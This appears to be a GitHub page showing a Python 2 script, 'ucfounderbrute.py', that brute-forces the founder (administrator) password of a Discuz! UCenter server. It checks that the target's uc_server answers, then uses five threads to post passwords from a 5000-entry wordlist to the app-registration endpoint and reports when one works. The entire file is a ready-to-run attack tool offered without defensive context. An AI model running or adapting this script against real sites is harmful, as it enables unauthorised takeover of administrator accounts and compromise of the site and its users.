-
Notifications
You must be signed in to change notification settings - Fork 81
/
Copy pathucfounderbrute.py
73 lines (53 loc) · 1.27 KB
/
ucfounderbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding:utf-8
import requests
import sys
from threading import Thread
from Queue import Queue
NUM=5
dicpath='top5000.txt'
apptype='DISCUZX'
appname='Discuz!'
appurl='localhost'
ucclientrelease='20110501'
ucapi='http://target/uc_server' # no '/' in the end!!
def testucserver():
try:
r=requests.get(ucapi+'/index.php?m=app&a=ucinfo&release='+ucclientrelease)
if 'UC_STATUS_OK' in r.text:
return True
except Exception as e:
print e
pass
return False
def brute():
while True:
founderpw=q.get()
data={'m':'app','a':'add','ucfounder':'','ucfounderpw':founderpw,'apptype':apptype,'appname':appname,'appurl':appurl,'appip':'','appcharset':'gbk','appdbcharset':'gbk','release':ucclientrelease}
posturl=ucapi+'/index.php'
r = requests.post(posturl,data)
while r.status_code!=200:
r = requests.post(posturl,data)
rt=r.text
#print rt
if rt!='-1' and rt!='':
print 'Founder Password found! : '+founderpw
print rt
break
sys.exit()
q.task_done()
if __name__ == '__main__':
if testucserver()==False:
print 'UCAPI error'
sys.exit()
q=Queue()
for i in range(NUM):
t = Thread(target=brute)
t.daemon=True
t.start()
print 'Threads started'
with open(dicpath) as f:
for line in f:
pw = line.strip()
q.put(pw)
f.close()
q.join()